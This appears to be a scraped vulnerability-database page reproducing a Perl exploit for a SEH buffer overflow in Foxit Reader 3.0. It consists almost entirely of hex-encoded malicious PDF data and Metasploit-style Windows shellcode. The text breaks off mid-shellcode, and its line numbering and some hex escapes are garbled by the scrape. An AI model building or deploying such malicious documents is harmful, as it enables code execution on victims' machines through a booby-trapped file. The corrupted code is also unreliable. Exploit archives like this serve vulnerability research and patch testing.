Foxit Reader 3.0 PDF Buffer Overflow Exploit-vulnerability warning-the black bar safety net

2009-03-13T00:00:00
ID MYHACK58:62200922496
Type myhack58
Reporter 佚名
Modified 2009-03-13T00:00:00

Description

from:milw0rm.com [2009-03-11]

Perl code

  1. !/ usr/bin/perl

  2. Foxit Reader 3.0 (<= Build 1 3 0 1) PDF Buffer Overflow Exploit

  3. ------------------------------------------------------------

  4. Exploit by SkD (skdrat@hotmail.com)

  5. A SEH overflow occurs in this vulnerability in the popular

  6. Foxit Reader. The latest build (1 5 0 6) is not affected but

  7. previous are. SafeSEH is a bitch in this one, but nothing

    1 0. # is impossible :). 1 1. # 1 2. # Exploit written for Windows XP SP3. 1 3. # 1 4. # Credits to CORE Sec. 1 5. # 1 6. # Note: Author is not responsible for any damage done with this. 1 7. 1 8. 1 9. use strict; 2 0. use warnings; 2 1. 2 2. my $pdf_data1 = "\x25\x50\x44\x46\x2D\x31\x2E\x34\x0D\x0A\x25\xA1\xB3\xC5\xD7\x0D\x0A\x31\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70". 2 3. "\x65\x2F\x50\x61\x67\x65\x2F\x50\x61\x72\x65\x6E\x74\x20\x34\x20\x30\x20\x52\x20\x2F\x52\x65\x73\x6F\x75\x72\x63\x65\x73\x20\x36". 2 4. "\x20\x30\x20\x52\x20\x2F\x4D\x65\x64\69\x61\x42\x6F\x78\x5B\x20\x30\x20\x30\x20\x35\x39\x35\x20\x38\x34\x32\x5D\x2F\x47\x72\x6F". 2 5. "\x75\x70\x3C\x3C\x2F\x53\x2F\x54\x72\x61\x6E\x73\x70\x61\x72\x65\x6E\x63\x79\x2F\x43\x53\x2F\x44\x65\x 76\69\x63\x65\x52\x47\x42". 2 6. "\x2F\x49\x20\x74\x72\x75\x65\x3E\x3E\x2F\x43\x6F\x6E\x74\x65\x6E\x74\x73\x20\x32\x20\x30\x20\x52\x20\x2F\x41\x6E\x6E\x6F\x74\x73". 2 7. "\x5B\x20\x39\x20\x30\x20\x52\x20\x20\x32\x34\x20\x30\x20\x52\x20\x20\x32\x35\x20\x30\x20\x52\x20\x5D\x3E\x3E\x0D\x0A\x65\x6E\x64". 2 8. "\x6F\x62\x6A\x0D\x0A\x32\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x4C\x65\x6E\x67\x74\x68\x20\x33\x20\x30\x20\x52\x20\x2F\x46". 2 9. "\69\x6C\x74\x65\x72\x2F\x46\x6C\x61\x74\x65\x44\x65\x63\x6F\x64\x65\x3E\x3E\x73\x74\x72\x65\x61\x6D\x0D\x0A\x78\x9C\x33\xD0\x33". 3 0. "\x54\x28\xE7\x2A\x54\x30\x50\x30\x00\xB2\x4C\x2D\x4D\xF5\x8C\x15\x2C\x4C\x0C\xF5\x2C\x15\x8A\x52\x15\xC2\xB5\x14\xF2\xB8\x02\x15". 3 1. "\x00\x87\xEB\x07\x8A\x0D\x0A\x65\x6E\x64\x73\x74\x72\x65\x61\x6D\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x33\x20\x30\x20\x6F\x62". 3 2. "\x6A\x0D\x0A\x20\x34\x32\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x34\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70\x65". 3 3. "\x2F\x50\x61\x67\x65\x73\x2F\x52\x65\x73\x6F\x75\x72\x63\x65\x73\x20\x36\x20\x30\x20\x52\x20\x2F\x4D\x65\x64\69\x61\x42\x6F\x78". 3 4. "\x5B\x20\x30\x20\x30\x20\x35\x39\x35\x20\x38\x34\x32\x5D\x2F\x4B\69\x64\x73\x5B\x20\x31\x20\x30\x20\x52\x20\x5D\x2F\x43\x6F\x75". 3 5. "\x6E\x74\x20\x31\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x35\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x5A\69\x54\69". 3 6. "\x20\x31\x38\x20\x30\x20\x52\x20\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x36\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F". 3 7. "\x46\x6F\x6E\x74\x20\x35\x20\x30\x20\x52\x20\x2F\x50\x72\x6F\x63\x53\x65\x74\x5B\x2F\x50\x44\x46\x2F\x54\x65\x78\x74\x5D\x3E\x3E". 3 8. "\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x37\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x43\x61\x74\x61\x6C". 3 9. "\x6F\x67\x2F\x50\x61\x67\x65\x73\x20\x34\x20\x30\x20\x52\x20\x2F\x4F\x70\x65\x6E\x41\x63\x74\69\x6F\x6E\x5B\x20\x31\x20\x30\x20". 4 0. "\x52\x20\x2F\x58\x59\x5A\x20\x6E\x75\x6C\x6C\x20\x6E\x75\x6C\x6C\x20\x30\x5D\x2F\x4C\x61\x6E\x67\x28\x65\x6E\x2D\x55\x53\x29\x3E". 4 1. "\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x38\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x41\x75\x74\x68\x6F\x72\x28\xFE\xFF". 4 2. "\x00\x6D\x00\x61\x00\x72\x00\x63\x00\69\x00\x61\x00\x6E\x00\x6F\x29\x2F\x43\x72\x65\x61\x74\x6F\x72\x28\xFE\xFF\x00\x57\x00\x72". 4 3. "\x00\69\x00\x74\x00\x65\x00\x72\x29\x2F\x50\x72\x6F\x64\x75\x63\x65\x72\x28\xFE\xFF\x00\x4F\x00\x70\x00\x65\x00\x6E\x00\x4F\x00". 4 4. "\x66\x00\x66\x00\69\x00\x63\x00\x65\x00\x2E\x00\x6F\x00\x72\x00\x67\x00\x20\x00\x33\x00\x2E\x00\x30\x29\x2F\x43\x72\x65\x61\x74". 4 5. "\69\x6F\x6E\x44\x61\x74\x65\x28\x44\x3A\x32\x30\x30\x39\x30\x32\x31\x39\x31\x34\x34\x35\x34\x39\x2D\x30\x32\x27\x3 0\x30\x27\x29". 4 6. "\x2F\x4D\x6F\x64\x44\x61\x74\x65\x28\x44\x3A\x32\x30\x30\x39\x30\x32\x31\x39\x31\x34\x34\x38\x31\x35\x2D\x30\x32\x27\x30\x30\x27". 4 7. "\x29\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x31\x35\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x46". 4 8. "\69\x6C\x65\x73\x70\x65\x63\x2F\x46\x28\x63\x75\x61\x6C\x71\x75\69\x65\x72\x61\x29\x2F\x46\x53\x2F\x55\x52\x4C\x3E\x3E\x0D\x0A". 4 9. "\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x31\x34\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x53\x2F\x4D\x43\x44\x2F\x43\x54\x28\x61\x70". 5 0. "\x70\x6C\69\x63\x61\x74\69\x6F\x6E\x2F\x66\x75\x74\x75\x72\x65\x73\x70\x6C\x61\x73\x68\x29\x2F\x50\x3C\x3C\x2F\x54\x46\x28\x54". 5 1. "\x45\x4D\x50\x41\x43\x43\x45\x53\x53\x29\x3E\x3E\x2F\x44\x20\x31\x35\x20\x30\x20\x52\x20\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A". 5 2. "\x0D\x0A\x31\x33\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x53\x2F\x4D\x52\x2F\x43\x20\x31\x34\x20\x30\x20\x52\x20\x2F\x4E\x28". 5 3. "\x63\x75\x61\x6C\x71\x75\69\x65\x72\x61\x29\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x31\x32\x20\x30\x20\x6F\x62\x6A\x0D". 5 4. "\x0A\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x41\x63\x74\69\x6F\x6E\x2F\x53\x2F\x52\x65\x6E\x64\69\x74\69\x6F\x6E\x2F\x4F\x50\x20\x34". 5 5. "\x2F\x41\x4E\x20\x39\x20\x30\x20\x52\x20\x2F\x52\x20\x31\x33\x20\x30\x20\x52\x20\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A". 5 6. "\x31\x31\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x45\x78\x74\x47\x53\x74\x61\x74\x65\x2F\x43\x41\x20\x31". 5 7. "\x2F\x63\x61\x20\x31\x2F\x41\x49\x53\x20\x66\x61\x6C\x73\x65\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x31\x30\x20\x30\x20". 5 8. "\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x4D\x61\x74\x72\69\x78\x5B\x20\x31\x20\x30\x20\x30\x20\x31\x20\x30\x20\x30\x5D\x2F\x42\x42\x6F". 5 9. "\x78\x5B\x20\x30\x20\x30\x20\x31\x33\x30\x2E\x31\x33\x39\x20\x32\x37\x2E\x32\x38\x39\x37\x5D\x2F\x52\x65\x73\x6F\x75\x72\x63\x65". 6 0. "\x73\x3C\x3C\x2F\x45\x78\x74\x47\x53\x74\x61\x74\x65\x3C\x3C\x2F\x49\x6D\x61\x67\x65\x4F\x70\x61\x63\69\x74\x79\x20\x31\x31\x20". 6 1. "\x30\x20\x52\x20\x3E\x3E\x3E\x3E\x2F\x4C\x65\x6E\x67\x74\x68\x20\x35\x34\x2F\x46\69\x6C\x74\x65\x72\x2F\x46\x6C\x61\x74\x65\x44". 6 2. "\x65\x63\x6F\x64\x65\x3E\x3E\x73\x74\x72\x65\x61\x6D\x0D\x0A\x78\x9C\x2B\xE4\x2A\xE4\x32\x50\x00\xC1\xA2\x74\x30\xC3\xD0\xD8\x40". 6 3. "\xCF\xD0\xD8\x52\xC1\xC8\x5C\xCF\xC8\xC2\xD2\x5C\xA1\x28\x95\xCB\x50\x01\x08\x8D\x2C\x20\xC2\xA6\x70\xE1\x34\x2D\xAE\x40\x20\x04". 6 4. "\x00\xBD\x52\x0D\x43\x0D\x0A\x65\x6E\x64\x73\x74\x72\x65\x61\x6D\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x39\x20\x30\x20\x6F\x62". 6 5. "\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x41\x6E\x6E\x6F\x74\x2F\x53\x75\x62\x74\x79\x70\x65\x2F\x53\x63\x72\x65\x65\x6E\x2F". 6 6. "\x50\x20\x31\x20\x30\x20\x52\x20\x2F\x4D\x28\x44\x3A\x32\x30\x30\x39\x30\x32\x31\x39\x31\x34\x34\x37\x35\x36\x2D\x30\x32\x27\x30". 6 7. "\x30\x27\x29\x2F\x46\x20\x34\x2F\x52\x65\x63\x74\x5B\x20\x32\x30\x35\x2E\x31\x35\x33\x20\x38\x30\x36\x2E\x31\x38\x32\x20\x33\x33". 6 8. "\x35\x2E\x32\x39\x31\x20\x38\x33\x33\x2E\x34\x37\x32\x5D\x2F\x42\x53\x3C\x3C\x2F\x53\x2F\x53\x2F\x57\x20\x31\x3E\x3E\x2F\x42\x45". 6 9. "\x3C\x3C\x2F\x53\x2F\x53\x3E\x3E\x2F\x4D\x4B\x3C\x3C\x2F\x42\x43\x5B\x20\x30\x20\x30\x20\x31\x5D\x2F\x52\x20\x30\x2F\x49\x46\x3C". 7 0. "\x3C\x2F\x53\x57\x2F\x41\x2F\x53\x2F\x41\x2F\x46\x42\x20\x66\x61\x6C\x73\x65\x2F\x41\x5B\x20\x30\x2E\x35\x20\x30\x2E\x35\x5D\x3E". 7 1. "\x3E\x3E\x3E\x2F\x41\x50\x3C\x3C\x2F\x4E\x20\x31\x30\x20\x30\x20\x52\x20\x3E\x3E\x2F\x54\x28\x63\x75\x61\x6C\x71\x75\69\x65\x72". 7 2. "\x61\x29\x2F\x41\x20\x31\x32\x20\x30\x20\x52\x20\x2F\x41\x41\x20\x31\x37\x20\x30\x20\x52\x20\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62". 7 3. "\x6A\x0D\x0A\x32\x35\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x41\x6E\x6E\x6F\x74\x2F\x53\x75\x62\x74\x79". 7 4. "\x70\x65\x2F\x50\x6F\x70\x75\x70\x2F\x50\x20\x31\x20\x30\x20\x52\x20\x2F\x4D\x28\x44\x3A\x32\x30\x30\x39\x30\x32\x31\x39\x31\x34". 7 5. "\x34\x38\x31\x35\x2D\x30\x32\x27\x30\x30\x27\x29\x2F\x46\x20\x32\x38\x2F\x52\x65\x63\x74\x5B\x20\x30\x20\x30\x20\x30\x20\x30\x5D". 7 6. "\x2F\x4F\x70\x65\x6E\x20\x66\x61\x6C\x73\x65\x2F\x50\x61\x72\x65\x6E\x74\x20\x32\x34\x20\x30\x20\x52\x20\x3E\x3E\x0D\x0A\x65\x6E". 7 7. "\x64\x6F\x62\x6A\x0D\x0A\x32\x34\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x53\x75\x62\x74\x79\x70\x65\x2F\x46\x72\x65\x65\x54". 7 8. "\x65\x78\x74\x2F\x52\x65\x63\x74\x5B\x20\x32\x38\x35\x20\x37\x39\x34\x20\x35\x34\x31\x20\x38\x32\x37\x5D\x2F\x46\x20\x34\x2F\x41". 7 9. "\x50\x20\x31\x39\x20\x30\x20\x52\x20\x2F\x46\x6F\x78\69\x74\x54\x61\x67\x20\x32\x33\x20\x30\x20\x52\x20\x2F\x50\x20\x31\x20\x30". 8 0. "\x20\x52\x20\x2F\x50\x6F\x70\x75\x70\x20\x32\x35\x20\x30\x20\x52\x20\x2F\x46\x4E\x28\x48\x65\x6C\x 76\x65\x74\69\x63\x61\x29\x2F". 8 1. "\x43\x6F\x6E\x74\x65\x6E\x74\x73\x28\x45\x64\69\x74\x65\x64\x20\x62\x79\x20\x46\x6F\x78\69\x74\x20\x52\x65\x61\x64\x65\x72\x5C". 8 2. "\x72\x43\x6F\x70\x79\x72\69\x67\x68\x74\x5C\x28\x43\x5C\x29\x20\x62\x79\x20\x46\x6F\x78\69\x74\x20\x53\x6F\x66\x74\x77\x61\x72". 8 3. "\x65\x20\x43\x6F\x6D\x70\x61\x6E\x79\x2C\x32\x30\x30\x35\x2D\x32\x30\x30\x38\x5C\x72\x46\x6F\x72\x20\x45\x 76\x61\x6C\x75\x61\x74". 8 4. "\69\x6F\x6E\x20\x4F\x6E\x6C\x79\x2E\x5C\x72\x29\x2F\x42\x4B\x43\x20\x36\x35\x35\x33\x35\x2F\x51\x20\x30\x2F\x44\x41\x28\x2F\x5A". 8 5. "\69\x54\69\x20\x31\x31\x20\x54\x66\x20\x31\x20\x30\x20\x30\x20\x72\x67\x20\x31\x20\x30\x20\x30\x20\x31\x20\x32\x38\x35\x20\x38". 8 6. "\x31\x30\x2E\x35\x20\x54\x6D\x20\x30\x20\x54\x63\x20\x31\x30\x30\x20\x54\x7A\x29\x2F\x49\x54\x2F\x46\x72\x65\x65\x54\x65\x78\x74". 8 7. "\x54\x79\x70\x65\x77\x72\69\x74\x65\x72\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x32\x33\x20\x30\x20\x6F\x62\x6A\x0D\x0A". 8 8. "\x3C\x3C\x2F\x54\x65\x78\x74\x4D\x61\x74\x72\69\x78\x5B\x20\x31\x20\x30\x20\x30\x20\x31\x20\x32\x38\x35\x20\x38\x31\x30\x2E\x35". 8 9. "\x5D\x2F\x4C\69\x63\x65\x6E\x73\x65\x28\x45\x 76\x61\x6C\x75\x61\x74\69\x6F\x6E\x29\x2F\x4D\x65\x6E\x64\x65\x72\x46\x6C\x61\x67". 9 0. "\x28\x45\x 76\x61\x6C\x75\x61\x74\69\x6F\x6E\x2C\x41\x4E\x4E\x4F\x54\x29\x2F\x46\x6F\x6E\x74\x4E\x61\x6D\x65\x28\x48\x65\x6C\x 76". 9 1. "\x65\x74\69\x63\x61\x29\x2F\x46\x6F\x6E\x74\x53\69\x7A\x65\x20\x31\x31\x2F\x54\x65\x78\x74\x28\x45\x64\69\x74\x65\x64\x20\x62". 9 2. "\x79\x20\x46\x6F\x78\69\x74\x20\x52\x65\x61\x64\x65\x72\x5C\x72\x43\x6F\x70\x79\x72\69\x67\x68\x74\x5C\x28\x43\x5C\x29\x20\x62". 9 3. "\x79\x20\x46\x6F\x78\69\x74\x20\x53\x6F\x66\x74\x77\x61\x72\x65\x20\x43\x6F\x6D\x70\x61\x6E\x79\x2C\x32\x30\x30\x35\x2D\x32\x30". 9 4. "\x30\x38\x5C\x72\x46\x6F\x72\x20\x45\x 76\x61\x6C\x75\x61\x74\69\x6F\x6E\x20\x4F\x6E\x6C\x79\x2E\x5C\x72\x29\x2F\x43\x68\x61\x72". 9 5. "\x43\x6F\x6C\x6F\x72\x20\x32\x35\x35\x2F\x43\x68\x61\x72\x53\x70\x61\x63\x65\x20\x30\x2F\x4C\69\x6E\x65\x46\x65\x65\x64\x20\x30". 9 6. "\x2F\x48\x6F\x72\x7A\x53\x63\x61\x6C\x65\x20\x31\x30\x30\x2F\x4F\x72\69\x67\69\x6E\x58\x20\x32\x38\x35\x2F\x4F\x72\69\x67\69". 9 7. "\x6E\x59\x20\x38\x31\x36\x2F\x62\x43\x68\x61\x6E\x67\x65\x42\x6F\x78\x20\x30\x2F\x42\x6F\x78\x57\69\x64\x74\x68\x20\x32\x35\x36". 9 8. "\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x32\x32\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x4D\x79\x46\x6F\x6E\x74\x20". 9 9. "\x31\x38\x20\x30\x20\x52\x20\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x32\x31\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F". 1 0 0. "\x46\x6F\x6E\x74\x20\x32\x32\x20\x30\x20\x52\x20\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x32\x30\x20\x30\x20\x6F\x62\x6A". 1 0 1. "\x0D\x0A\x3C\x3C\x2F\x4C\x65\x6E\x67\x74\x68\x20\x31\x36\x38\x2F\x53\x75\x62\x74\x79\x70\x65\x2F\x46\x6F\x72\x6D\x2F\x42\x42\x6F". 1 0 2. "\x78\x5B\x20\x32\x38\x35\x20\x37\x39\x34\x20\x35\x34\x31\x20\x38\x32\x37\x5D\x2F\x52\x65\x73\x6F\x75\x72\x63\x65\x73\x20\x32\x31". 1 0 3. "\x20\x30\x20\x52\x20\x2F\x46\69\x6C\x74\x65\x72\x2F\x46\x6C\x61\x74\x65\x44\x65\x63\x6F\x64\x65\x3E\x3E\x73\x74\x72\x65\x61\x6D". 1 0 4. "\x0D\x0A\x78\x9C\x95\x8D\xCD\x0E\x82\x30\x10\x84\xEF\x7D\x8A\x3D\x42\xA2\xD8\x16\x88\x78\x15\xE1\x66\x4C\xB4\x2F\x50\x43\xC1\x1A". 1 0 5. "\xE8\x92\xA6\xFE\xF4\xED\x25\x24\x28\x89\x27\xF6\x30\x99\x99\x6C\xBE\xD9\x0B\xB2\x39\xFA\x12\x8D\x03\xC6\x40\xD4\x84\x45\x74\x3C". 1 0 6. "\xA0\x7F\xC6\x36\x84\xC1\x90\x81\x01\xCF\xD2\xA9\xDD\xEE\x92\xC9\x8A\x8E\x7C\x9F\x79\x12\xC5\x9C\x51\x3A\x40\x0F\x24\x28\x2A\xED". 1 0 7. "\x54\x05\x57\x0F\x25\xBE\xB5\x83\xB3\x92\x95\xB2\x21\x88\xFB\x02\x24\x8B\xE7\xC8\x1C\x7B\x6F\x75\x73\x73\x41\x1E\xFE\xC0\x17\xAC". 1 0 8. "\xDD\x4B\x5A\x05\x39\x 76\xBD\x34\x7E\xC5\x29\x4D\xD7\x83\x64\x0B\xC7\xF8\x7C\xAB\x44\x0B\xC5\x53\xB6\x0F\xE9\x34\x1A\x38\x99\xD6". 1 0 9. "\x47\x23\xAF\x10\xE4\x03\x4A\x14\x4C\x32\x0D\x0A\x65\x6E\x64\x73\x74\x72\x65\x61\x6D\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x31". 1 1 0. "\x39\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x4E\x20\x32\x30\x20\x30\x20\x52\x20\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D". 1 1 1. "\x0A\x31\x38\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x46\x6F\x6E\x74\x2F\x53\x75\x62\x74\x79\x70\x65\x2F". 1 1 2. "\x54\x79\x70\x65\x31\x2F\x42\x61\x73\x65\x46\x6F\x6E\x74\x2F\x48\x65\x6C\x 76\x65\x74\69\x63\x61\x2F\x45\x6E\x63\x6F\x64\69\x6E". 1 1 3. "\x67\x2F\x57\69\x6E\x41\x6E\x73\69\x45\x6E\x63\x6F\x64\69\x6E\x67\x2F\x46\x78\x54\x61\x67\x20\x31\x3E\x3E\x0D\x0A\x65\x6E\x64". 1 1 4. "\x6F\x62\x6A\x0D\x0A\x31\x37\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x50\x56\x20\x31\x36\x20\x30\x20\x52\x20\x3E\x3E\x0D\x0A". 1 1 5. "\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x31\x36\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x41\x63\x74\69\x6F\x6E". 1 1 6. "\x2F\x53\x2F\x4C\x61\x75\x6E\x63\x68\x2F\x46\x3C\x3C\x2F\x46\x28\x2F\x43\x2F"; 1 1 7. my $pdf_data2 = "\x29\x3E\x3E\x2F\x4E\x65\x77\x57\69\x6E\x64\x6F\x77\x20\x74\x72\x75\x65\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x78\x72". 1 1 8. "\x65\x66\x0D\x0A\x30\x20\x32\x36\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x20\x36\x35\x35\x33\x36\x20\x66\x0D\x0A\x30\x30". 1 1 9. "\x30\x30\x30\x30\x30\x30\x31\x37\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x31\x39\x37\x20\x30\x30\x30". 1 2 0. "\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x33\x31\x34\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30". 1 2 1. "\x30\x33\x33\x36\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x34\x33\x32\x20\x30\x30\x30\x30\x30\x20\x6E". 1 2 2. "\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x34\x36\x38\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x35\x32\x32". 1 2 3. "\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x36\x31\x39\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30". 1 2 4. "\x30\x30\x30\x30\x31\x33\x37\x30\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x31\x31\x34\x37\x20\x30\x30\x30". 1 2 5. "\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x31\x30\x38\x38\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30". 1 2 6. "\x31\x30\x31\x35\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x39\x36\x32\x20\x30\x30\x30\x30\x30\x20\x6E". 1 2 7. "\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x38\x37\x32\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x30\x38\x31\x33". 1 2 8. "\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x32\x39\x38\x34\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30". 1 2 9. "\x30\x30\x30\x30\x32\x39\x34\x39\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x32\x38\x34\x39\x20\x30\x30\x30". 1 3 0. "\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x32\x38\x31\x35\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30". 1 3 1. "\x32\x35\x32\x30\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x32\x34\x38\x33\x20\x30\x30\x30\x30\x30\x20\x6E". 1 3 2. "\x0D\x0A\x30\x30\x30\x30\x30\x30\x32\x34\x34\x34\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x32\x31\x30\x32". 1 3 3. "\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30\x30\x30\x30\x30\x31\x37\x36\x36\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x30\x30". 1 3 4. "\x30\x30\x30\x30\x31\x36\x33\x35\x20\x30\x30\x30\x30\x30\x20\x6E\x0D\x0A\x74\x72\x61\69\x6C\x65\x72\x0D\x0A\x3C\x3C\x2F\x52\x6F". 1 3 5. "\x6F\x74\x20\x37\x20\x30\x20\x52\x20\x2F\x49\x6E\x66\x6F\x20\x38\x20\x30\x20\x52\x20\x2F\x49\x44\x5B\x28\xDF\xB0\x2B\xEC\xF3\x6B". 1 3 6. "\xFA\x01\x9C\xBC\x4B\x06\x11\x7C\x78\x79\x29\x28\xDF\xB0\x2B\xEC\xF3\x6B\xFA\x01\x9C\xBC\x4B\x06\x11\x7C\x78\x79\x29\x5D\x2F\x44". 1 3 7. "\x6F\x63\x43\x68\x65\x63\x6B\x73\x75\x6D\x2F\x37\x36\x33\x36\x30\x32\x39\x46\x42\x32\x42\x32\x46\x44\x32\x39\x42\x43\x33\x34\x41". 1 3 8. "\x42\x43\x33\x32\x43\x46\x34\x35\x42\x38\x46\x2F\x53\69\x7A\x65\x20\x32\x36\x3E\x3E\x0D\x0A\x73\x74\x61\x72\x74\x78\x72\x65\x66". 1 3 9. "\x0D\x0A\x38\x30\x35\x37\x0D\x0A\x25\x25\x45\x4F\x46\x0D\x0A"; 1 4 0. 1 4 1. # win32_exec - EXITFUNC=process CMD=calc Size=3 4 3 Encoder=PexAlphaNum http://metasploit.com 1 4 2. my $shellcode = 1 4 3. "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49". 1 4 4. "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36". 1 4 5. "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34". 1 4 6. "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41". 1 4 7. "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34". 1 4 8. "\x42\x50\x42\x30\x42\x50\x4b\x58\x45\x44\x4e\x43\x4b\x58\x4e\x37". 1 4 9. "\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x58". 1 5 0. "\x4f\x55\x42\x32\x41\x30\x4b\x4e\x49\x44\x4b\x38\x46\x53\x4b\x58". 1 5 1. "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c". 1 5 2. "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e". 1 5 3. "\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x37\x45\x4e\x4b\x48". 1 5 4. "\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x54". 1 5 5. "\x4b\x48\x4f\x55\x4e\x41\x41\x50\x4b\x4e\x4b\x48\x4e\x31\x4b\x38". 1 5 6. "\x41\x30\x4b\x4e\x49\x58\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33". 1 5 7. "\x42\x4c\x46\x46\x4b\x58\x42\x44\x42\x33\x45\x38\x42\x4c\x4a\x47". 1 5 8. "\x4e\x30\x4b\x48\x42\x34\x4e\x50\x4b\x48\x42\x37\x4e\x51\x4d\x4a". 1 5 9. "\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x48\x42\x4b". 1 6 0. "\x42\x30\x42\x30\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x35\x41\x43". 1 6 1. "\x48\x4f\x42\x36\x48\x45\x49\x58\x4a\x4f\x43\x48\x42\x4c\x4b\x37". 1 6 